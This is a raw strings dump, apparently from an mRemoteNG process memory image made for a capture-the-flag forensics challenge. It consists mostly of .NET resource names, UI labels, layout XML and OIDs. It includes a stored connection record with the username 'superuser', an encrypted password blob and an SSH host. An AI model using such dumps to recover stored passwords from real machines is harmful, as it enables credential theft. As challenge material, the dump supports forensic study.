PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Arrow_Down Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing strConnect Connect strConnectWithOptions Connect (with options) strConnectToConsoleSession Connect to console session strDontConnectToConsoleSessionMenuItem Don't connect to console session strConnectInFullscreen Connect in fullscreen mode strConnectNoCredentials Connect without credentials strChoosePanelBeforeConnecting Choose panel before connecting strMenuDisconnect Disconnect strMenuTransferFile Transfer File (SSH) \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 strAddConnection New Connection strAddFolder New folder strSort Sort strSortAsc Ascending (A-Z) strSortDesc Descending (Z-A) strMoveUp Move up strMoveDown Move down None LButton RButton Cancel MButton XButton1 XButton2 Back LineFeed Clear Enter Return ShiftKey ControlKey Menu Pause CapsLock Capital HangulMode HanguelMode KanaMode JunjaMode FinalMode KanjiMode HanjaMode Escape IMEConvert IMENonconvert IMEAccept IMEAceept IMEModeChange Space Prior PageUp PageDown Next Home Left Right Down Select Print Execute Snapshot PrintScreen Insert Delete Help LWin RWin Apps Sleep NumPad0 NumPad1 NumPad2 NumPad3 NumPad4 NumPad5 NumPad6 NumPad7 NumPad8 NumPad9 Multiply Separator Subtract Decimal Divide NumLock Scroll LShiftKey RShiftKey LControlKey RControlKey LMenu RMenu BrowserBack BrowserForward BrowserRefresh BrowserStop BrowserSearch BrowserFavorites BrowserHome VolumeMute VolumeDown VolumeUp MediaNextTrack MediaPreviousTrack MediaStop MediaPlayPause LaunchMail SelectMedia LaunchApplication1 LaunchApplication2 OemSemicolon Oem1 Oemplus Oemcomma OemMinus OemPeriod Oem2 OemQuestion Oem3 Oemtilde Oem4 OemOpenBrackets OemPipe Oem5 OemCloseBrackets Oem6 OemQuotes Oem7 Oem8 Oem102 OemBackslash ProcessKey Packet Attn Crsel Exsel EraseEof Play Zoom NoName OemClear KeyCode Shift Control Modifiers Ctrl+Shift+C Ctrl+Shift+C Ctrl+D Ctrl+D Ctrl+Up Ctrl+Up Down Down Ctrl+Down Ctrl+Down \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 WindowsForms10.SysListView32.app.0.129c866_r7_ad1 129c866 129c866_r7_ad1 129c866_r7_ad1 WindowsForms10.SysListView32.app.0.129c866_r7_ad1 Sans ColumnHeader _ThreadCallbackMessage WindowsForms12 WindowsForms12_ThreadCallbackMessage explorer Sans Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 View Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Expand Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 Collapse Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Segoe UI Segoe UI Segoe UI Root_Icon height.Drawing.Sizesion=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Icon IconData IconSize System.Drawing.Size System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing System.Drawing.Icon System.Drawing.Size width height System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing OpenConsFromLastSession SingleClickOnConnectionOpensIt SingleClickSwitchesToOpenConnection LoadPanelsFromXML failed C:\Users\job\AppData\Local C:\Users\job\AppData\Local C:\Users\job\AppData\Local C:\Users\job\AppData\Local\mRemoteNG\pnlLayout.xml C:\Users\job\AppData\Roaming C:\Users\job\AppData\Roaming C:\Users\job\AppData\Roaming C:\Users\job\AppData\Roaming\mRemoteNG C:\Users\job\AppData\Roaming\mRemoteNG\pnlLayout.xml C:\Users\job\AppData\Roaming\mRemoteNG\pnlLayout.xml pnlLayout.xml C:\Users\job\AppData\Roaming\mRemoteNG\pnlLayout.xml DockPanel FormatVersion DockLeftPortion DockRightPortion DockTopPortion DockBottomPortion ActiveDocumentPane ActivePane Contents Panes DockWindows FloatWindows version="1.0" en ?xml version="1.0" encoding="utf-8"?> coding="utf-8" utf-8 version="1.0" encoding="utf-8" version="1.0" en DockPanel FormatVersion DockLeftPortion DockRightPortion DockTopPortion DockBottomPortion ActiveDocumentPane ActivePane 225.8 225.8 130.5 130.5 Contents Count Count Content PersistString AutoHidePortion IsHidden IsFloat Content PersistString AutoHidePortion IsHidden IsFloat mRemoteNG.UI.Window.ConnectionTreeWindow 225.8 False False mRemoteNG.UI.Window.ConfigWindow 225.8 False False mRemoteNG.UI.Window.ErrorAndInfoWindow 130.5 False False Panes Pane DockState ActiveContent RefID Pane DockState ActiveContent DockLeft Unknown Float DockTopAutoHide DockLeftAutoHide DockBottomAutoHide DockRightAutoHide Document DockTop DockLeft DockBottom DockRight Hidden RefID DockLeft DockBottomAutoHide DockWindows DockWindow ZOrderIndex DockList NestedPanes PrevPane Proportion DockWindow ZOrderIndex Document NestedPanes DockLeft PrevPane Alignment Proportion Bottom Left Right Bottom Bottom DockRight DockTop DockBottom Right FloatWindows FloatWindow mRemote. mRemoteNG. GetContentFromPersistString failed mRemoteNG.UI.Window.ConfigWindow mRemoteNG.UI.Window.ConnectionTreeWindow mRemoteNG.UI.Window.ErrorAndInfoWindow DPS_EnableContentOrderFix EnableContentOrderFix Software\DockPanelSuite Software\DockPanelSuite Software\DockPanelSuite Software\DockPanelSuite DPS_EnableMainWindowFocusLostFix EnableMainWindowFocusLostFix Software\DockPanelSuite Software\DockPanelSuite Software\DockPanelSuite Software\DockPanelSuite DPS_EnableDisplayingPaneFix EnableDisplayingPaneFix mRemoteNG can automatically check for updates that may provide new features and bug fixes. It is recommended that you allow mRemoteNG to check for updates weekly. Software\DockPanelSuite Software\DockPanelSuite Software\DockPanelSuite Software\DockPanelSuite DockPane_Close WeifenLuo.WinFormsUI.Docking.Resources WeifenLuo.WinFormsUI.Docking WeifenLuo.WinFormsUI.Docking.resources file:///C:/Program Files (x86)/mRemoteNG/WeifenLuo.WinFormsUI.Docking.DLL WeifenLuo.WinFormsUI.Docking WeifenLuo.WinFormsUI.Docking.resources, Version=2.16.0.0, Culture=en-US, PublicKeyToken=5cded1a1a0a7b481 WeifenLuo.WinFormsUI.Docking.resources, Version=2.16.0.0, Culture=en-US, PublicKeyToken=5cded1a1a0a7b481 WeifenLuo.WinFormsUI.Docking.Resources.en-US.resources WeifenLuo.WinFormsUI.Docking.Resources.en-US.resources WeifenLuo.WinFormsUI.Docking WeifenLuo.WinFormsUI.Docking.resources WeifenLuo.WinFormsUI.Docking.resources, Version=2.16.0.0, Culture=en, PublicKeyToken=5cded1a1a0a7b481 WeifenLuo.WinFormsUI.Docking.resources, Version=2.16.0.0, Culture=en, PublicKeyToken=5cded1a1a0a7b481 WeifenLuo.WinFormsUI.Docking.Resources.en.resources WeifenLuo.WinFormsUI.Docking.Resources.en.resources WeifenLuo.WinFormsUI.Docking.Resources.resources WeifenLuo.WinFormsUI.Docking.Resources.resources WeifenLuo.WinFor msUI.Docking.Resources.resources WeifenLuo.WinFormsUI.Docking.Resources.resources System.Resources.RuntimeResourceSetcorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.RuntimeResourceSet mscorlib mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 mscorlib System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3ae089 System.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 mscorlib mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 mscorlib System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing DockPaneCaption_ToolTipClose WeifenLuo.WinFormsUI.Docking.Strings WeifenLuo.WinFormsUI.Docking WeifenLuo.WinFormsUI.Docking.resources WeifenLuo.WinFormsUI.Docking.resources, Version=2.16.0.0, Culture=en-US, PublicKeyToken=5cded1a1a0a7b481 WeifenLuo.WinFormsUI.Docking.resources, Version=2.16.0.0, Culture=en-US, PublicKeyToken=5cded1a1a0a7b481 WeifenLuo.WinFormsUI.Docking.Strings.en-US.resources WeifenLuo.WinFormsUI.Docking.Strings.en-US.resources WeifenLuo.WinFormsUI.Docking WeifenLuo.WinFormsUI.Docking.resources WeifenLuo.WinFormsUI.Docking.resources, Version=2.16.0.0, Culture=en, PublicKeyToken=5cded1a1a0a7b481 WeifenLuo.WinFormsUI.Docking.resources, Version=2.16.0.0, Culture=en, PublicKeyToken=5cded1a1a0a7b481 WeifenLuo.WinFormsUI.Docking.Strings.en.resources WeifenLuo.WinFormsUI.Docking.Strings.en.resources WeifenLuo.WinFormsUI.Docking.Strings.resources WeifenLuo.WinFormsUI.Docking.Strings.resources WeifenLuo.WinFor msUI.Docking.Strings.resources WeifenLuo.WinFormsUI.Docking.Strings.resources System.Resources.RuntimeResourceSetcorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.RuntimeResourceSet mscorlib mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 mscorlib Optionsdesources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 mscorlib mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 mscorlib Close DockPane_Dock Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing DockPane_AutoHide Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing DockPaneCaption_ToolTipAutoHide Auto Hide tooltips_class32 WindowsForms10.tooltips_class32.app.0.129c866_r7_a 129c866 129c866_r7_ad1 129c866_r7_ad1 WindowsForms10.tooltips_class32.app.0.129c866_r7_ad1 DockPane_Option Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing DockPaneCaption_ToolTipOptions Options Config Config WindowsForms10.STATIC.app.0.129c866_r7_ad1 129c866 129c866_r7_ad1 129c866_r7_ad1 WindowsForms10.STATIC.app.0.129c866_r7_ad1 Description Pane Description Pane Config Config strButtonInheritance Inheritance strButtonDefaultInheritance Default Inheritance strButtonProperties Properties strButtonDefaultProperties Default Properties strButtonIcon Icon strStatus Status Config Config strMenuShowHelpText &Show Help Text List_Item_Background List_Item_Foreground List_Item_Border List_Header_Foreground List_Item_Disabled_Foreground List_Item_Disabled_Background \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 PropertyGridToolBar PropertyGridToolBar PropertyGridToolBar PropertyGridToolBar ShowConfigHelpText Config Config PropertyGrid PropertyGrid PropertyGridToolBar PropertyGridToolBar PropertyGrid PropertyGrid Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Config Config PropertyGrid PropertyGrid PropertyGrid PropertyGrid Config Config PropertyGrid PropertyGrid Description Pane Description Pane PropertyGrid PropertyGrid PropertyGrid PropertyGrid WindowsForms10.SCROLLBAR.app.0.129c866_r7_ad1 129c866 129c866_r7_ad1 129c866_r7_ad1 WindowsForms10.SCROLLBAR.app.0.129c866_r7_ad1 Segoe UI Segoe UI Segoe UI PropertyGridView PropertyGridView PropertyGridView PropertyGridView PropertyGridView PropertyGridView PropertyGrid PropertyGrid PropertyGrid PropertyGrid PropertyGrid PropertyGrid PropertyGrid PropertyGrid Connections Connections Connections Connections Connections Connections View strExpandAllFolders Expand all folders strCollapseAllFolders Collapse all folders strSearchPrompt Search Search Search TreeView_Background TreeView_Foreground Treeview_SelectedItem_Active_Background Treeview_SelectedItem_Active_Foreground Treeview_SelectedItem_Inactive_Background Treeview_SelectedItem_Inactive_Foreground Search Search Search Search Search Search Search Search Search Search Connections Connections MenuStrip1 MenuStrip1 MenuStrip1 MenuStrip1 Connections Connections MenuStrip1 MenuStrip1 Connections Connections Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Notifications Notifications Notifications Notifications Notifications Notifications Notifications Notifications Notifications Notifications Notifications Notifications Notifications Notifications Notifications Notifications Connections Connections Config Config PropertyGrid PropertyGrid Connections Connections Connections Connections Connections Connections MenuStrip1 MenuStrip1 MenuStrip1 MenuStrip1 Search Search Config Config PropertyGrid PropertyGrid PropertyGrid PropertyGrid Config Config PropertyGrid PropertyGrid PropertyGridToolBar PropertyGridToolBar PropertyGrid PropertyGrid PropertyGrid PropertyGrid Description Pane Description Pane PropertyGrid PropertyGrid PropertyGrid PropertyGrid PropertyGridView PropertyGridView PropertyGrid PropertyGrid PropertyGrid PropertyGrid PropertyGrid PropertyGrid PropertyGrid PropertyGrid Connections Connections Config Config PropertyGrid PropertyGrid Connections Connections Connections Connections Connections Connections MenuStrip1 MenuStrip1 Config Config PropertyGrid PropertyGrid Config Config PropertyGrid PropertyGrid Config Config PropertyGrid PropertyGrid Description Pane Description Pane PropertyGrid PropertyGrid PropertyGrid PropertyGrid PropertyGridView PropertyGridView PropertyGridView PropertyGridView PropertyGridView PropertyGridView PropertyGrid PropertyGrid PropertyGrid PropertyGrid PropertyGrid PropertyGrid PropertyGrid PropertyGrid ResetPanels FirstStart Could not load startup file. UseSQLServer LoadConsFromCustomLocation C:\Users\job\AppData\Local C:\Users\job\AppData\Local C:\Users\job\AppData\Local C:\Users\job\AppData\Local\mRemoteNG C:\Users\job\AppData\Local\mRemoteNG\confCons.xml C:\Users\job\AppData\Local\mRemoteNG\confCons.xml C:\Users\job\AppData\Roaming\mRemoteNG\confCons.xml Decrypting connection file failed Connections loaded using C:\Users\job\AppData\Roaming\mRemoteNG\confCons.xml Could not load file. File does not exist ' Failed to load file path confCons.xml C:\Users\job\AppData\Roaming\mRemoteNG\confCons.xml izeMode="false" InheritVNCViewOnly="false" InheritRDGatewayUsageMethod="false" InheritRDGatewayHostname="false" InheritRDGatewayUseConnectionCredentials="false" InheritRDGatewayUsername="false" InheritRDGatewayPassword="false" InheritRDGatewayDomain="false" /> eritResolution="false" InheritAutomaticResize="false" InheritUseConsoleSession="false" InheritUseCredSsp="false" InheritRenderingEngine="false" InheritUsername="false" InheritICAEncryptionStrength="false" InheritRDPAuthenticationLevel="false" InheritRDPMinutesToIdleTimeout="false" InheritRDPAlertIdleTimeout="false" InheritLoadBalanceInfo="false" InheritPreExtApp="false" InheritPostExtApp="false" InheritMacAddress="false" InheritUserField="false" InheritExtApp="false" InheritVNCCompression="false" InheritVNCEncoding="false" InheritVNCAuthMode="false" InheritVNCProxyType="false" InheritVNCProxyIP="false" InheritVNCProxyPort="false" InheritVNCProxyUsername="false" InheritVNCProxyPassword="false" InheritVNCColors="false" InheritVNCSmartS fe27baf0-0377-4c06-86d9-4047c1a16265 Protected FullFileEncryption 1c5aa014-bc3a-4bc3-9085-b95dd21e5856 EncryptionEngine BlockCipherMode KdfIterations version="1.0" en ?xml version="1.0" encoding="utf-8"?> coding="utf-8" utf-8 version="1.0" encoding="utf-8" rsion="1.0" en utf-16 Connections mrng http://mremoteng.org Name Export EncryptionEngine BlockCipherMode KdfIterations FullFileEncryption Protected ConfVersion Xml_UnknownNs Connections false 1000 false XGC5Kl/tWMZHGAJ1gc0uzQeaG4WK9eHZzlhej9lb9SlKfknK4IlgUTqB//6a0cRqCtrBPULQyjQg8ebQ07iv Node Type Descr Icon Panel Username Domain Password Hostname Protocol PuttySession Port ConnectToConsole UseCredSsp RenderingEngine ICAEncryptionStrength RDPAuthenticationLevel RDPMinutesToIdleTimeout RDPAlertIdleTimeout LoadBalanceInfo Colors Resolution AutomaticResize DisplayWallpaper DisplayThemes EnableFontSmoothing EnableDesktopComposition CacheBitmaps RedirectDiskDrives RedirectPorts RedirectPrinters RedirectSmartCards RedirectSound SoundQuality RedirectKeys Connected PreExtApp PostExtApp MacAddress UserField ExtApp VNCCompression VNCEncoding VNCAuthMode VNCProxyType VNCProxyIP VNCProxyPort VNCProxyUsername VNCProxyPassword VNCColors VNCSmartSizeMode VNCViewOnly RDGatewayUsageMethod RDGatewayHostname RDGatewayUseConnectionCredentials RDGatewayUsername RDGatewayPassword RDGatewayDomain InheritCacheBitmaps InheritColors InheritDescription InheritDisplayThemes InheritDisplayWallpaper InheritEnableFontSmoothing InheritEnableDesktopComposition InheritDomain InheritIcon InheritPanel InheritPassword InheritPort InheritProtocol InheritPuttySession InheritRedirectDiskDrives InheritRedirectKeys InheritRedirectPorts InheritRedirectPrinters InheritRedirectSmartCards InheritRedirectSound InheritSoundQuality InheritResolution InheritAutomaticResize InheritUseConsoleSession InheritUseCredSsp InheritRenderingEngine InheritUsername InheritICAEncryptionStrength InheritRDPAuthenticationLevel InheritRDPMinutesToIdleTimeout InheritRDPAlertIdleTimeout InheritLoadBalanceInfo InheritPreExtApp InheritPostExtApp InheritMacAddress InheritUserField InheritExtApp InheritVNCCompression InheritVNCEncoding InheritVNCAuthMode InheritVNCProxyType InheritVNCProxyIP InheritVNCProxyPort InheritVNCProxyUsername InheritVNCProxyPassword InheritVNCColors InheritVNCSmartSizeMode InheritVNCViewOnly InheritRDGatewayUsageMethod InheritRDGatewayHostname InheritRDGatewayUseConnectionCredentials InheritRDGatewayUsername InheritRDGatewayPassword InheritRDGatewayDomain PAM SSH Connection mRemoteNG General 577d8315-8794-4a8f-9691-860b81a3cd77 superuser ia8+/qpdbqSUA3F47roU3AHy2NL7tLjvgANTNyPpVSF9xlGL4xc75q0PPThAhNSp3u4ncQZB0/bXxXePm5TftBIrfEM= mdumpng.insomnihack.ch SSH2 Default Settings false true EncrBasic NoAuth false Colors16Bit FitToWindow true false false false false false false false false false DoNotPlay Dynamic false false CompNone EncHextile AuthVNC ProxyNone ColNormal SmartSAspect false Never false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false false ConfVersion Twofish Serpent SHA256 1.2.840.113549.1.1.1 1.2.840.113549.1.1.2 1.2.840.113549.1.1.3 1.2.840.113549.1.1.4 1.2.840.113549.1.1.5 1.2.840.113549.1.1.6 1.2.840.113549.1.1.7 1.2.840.113549.1.1.8 1.2.840.113549.1.1.9 1.2.840.113549.1.1.10 1.2.840.113549.1.1.11 1.2.840.113549.1.1.12 1.2.840.113549.1.1.13 1.2.840.113549.1.1.14 1.2.840.113549.1.3.1 1.2.840.113549.1.5.1 1.2.840.113549.1.5.4 1.2.840.113549.1.5.3 1.2.840.113549.1.5.6 1.2.840.113549.1.5.10 1.2.840.113549.1.5.11 1.2.840.113549.1.5.13 1.2.840.113549.1.5.12 1.2.840.113549.3.7 1.2.840.113549.3.2 1.2.840.113549.2.2 1.2.840.113549.2.4 1.2.840.113549.2.5 1.2.840.113549.2.7 1.2.840.113549.2.8 1.2.840.113549.2.9 1.2.840.113549.2.10 1.2.840.113549.2.11 1.2.840.113549.1.7.1 1.2.840.113549.1.7.2 1.2.840.113549.1.7.3 1.2.840.113549.1.7.4 1.2.840.113549.1.7.5 1.2.840.113549.1.7.6 1.2.840.113549.1.9.1 1.2.840.113549.1.9.2 1.2.840.113549.1.9.3 1.2.840.113549.1.9.4 1.2.840.113549.1.9.5 1.2.840.113549.1.9.6 1.2.840.113549.1.9.7 1.2.840.113549.1.9.8 1.2.840.113549.1.9.9 1.2.840.113549.1.9.13 1.2.840.113549.1.9.14 1.2.840.113549.1.9.15 1.2.840.113549.1.9.16 1.2.840.113549.1.9.20 1.2.840.113549.1.9.21 1.2.840.113549.1.9.22.1 1.2.840.113549.1.9.22.2 1.2.840.113549.1.9.23.1 1.2.840.113549.1.9.16.1.2 1.2.840.113549.1.9.16.1.4 1.2.840.113549.1.9.16.1.9 1.2.840.113549.1.9.16.1.23 1.2.840.113549.1.9.16.1.31 1.2.840.113549.1.9.16.6.1 1.2.840.113549.1.9.16.6.2 1.2.840.113549.1.9.16.6.3 1.2.840.113549.1.9.16.6.4 1.2.840.113549.1.9.16.6.5 1.2.840.113549.1.9.16.6.6 1.2.840.113549.1.9.16.2.4 1.2.840.113549.1.9.16.2.5 1.2.840.113549.1.9.16.2.10 1.2.840.113549.1.9.16.2.11 1.2.840.113549.1.9.16.2.12 1.2.840.113549.1.9.16.2.47 1.2.840.113549.1.9.16.2.7 1.2.840.113549.1.9.16.2.14 1.2.840.113549.1.9.16.2.15 1.2.840.113549.1.9.16.2.16 1.2.840.113549.1.9.16.2.17 1.2.840.113549.1.9.16.2.18 1.2.840.113549.1.9.16.2.19 1.2.840.113549.1.9.16.2.20 1.2.840.113549.1.9.16.2.21 1.2.840.113549.1.9.16.2.22 1.2.840.113549.1.9.16.2.23 1.2.840.113549.1.9.16.2.24 1.2.840.113549.1.9.16.2.25 1.2.840.113549.1.9.16.2.26 1.2.840.113549.1.9.16.2.27 1.2.840.113549.1.9.16.5.1 1.2.840.113549.1.9.16.5.2 1.2.840.113549.1.12.10.1.1 1.2.840.113549.1.12.10.1.2 1.2.840.113549.1.12.10.1.3 1.2.840.113549.1.12.10.1.4 1.2.840.113549.1.12.10.1.5 1.2.840.113549.1.12.10.1.6 1.2.840.113549.1.12.1.1 1.2.840.113549.1.12.1.2 1.2.840.113549.1.12.1.3 1.2.840.113549.1.12.1.4 1.2.840.113549.1.12.1.5 1.2.840.113549.1.12.1.6 1.2.840.113549.1.9.16.3 1.2.840.113549.1.9.16.3.5 1.2.840.113549.1.9.16.3.6 1.2.840.113549.1.9.16.3.7 1.2.840.113549.1.9.16.3.9 1.2.840.113549.1.9.16.3.10 1.2.840.113549.1.9.16.3.14 1.2.840.113549.1.9.15.1 1.2.840.113549.1.9.15.2 1.2.840.113549.1.9.15.3 1.2.840.113549.1.9.16.2.1 1.3.14.3.2.2 1.3.14.3.2.3 1.3.14.3.2.4 1.3.14.3.2.6 1.3.14.3.2.7 1.3.14.3.2.8 1.3.14.3.2.9 1.3.14.3.2.17 1.3.14.3.2.26 1.3.14.3.2.27 1.3.14.3.2.29 1.3.14.7.2.1.1 2.16.840.1.101.3.4 2.16.840.1.101.3.4.2 2.16.840.1.101.3.4.2.1 2.16.840.1.101.3.4.2.2 2.16.840.1.101.3.4.2.3 2.16.840.1.101.3.4.2.4 2.16.840.1.101.3.4.2.5 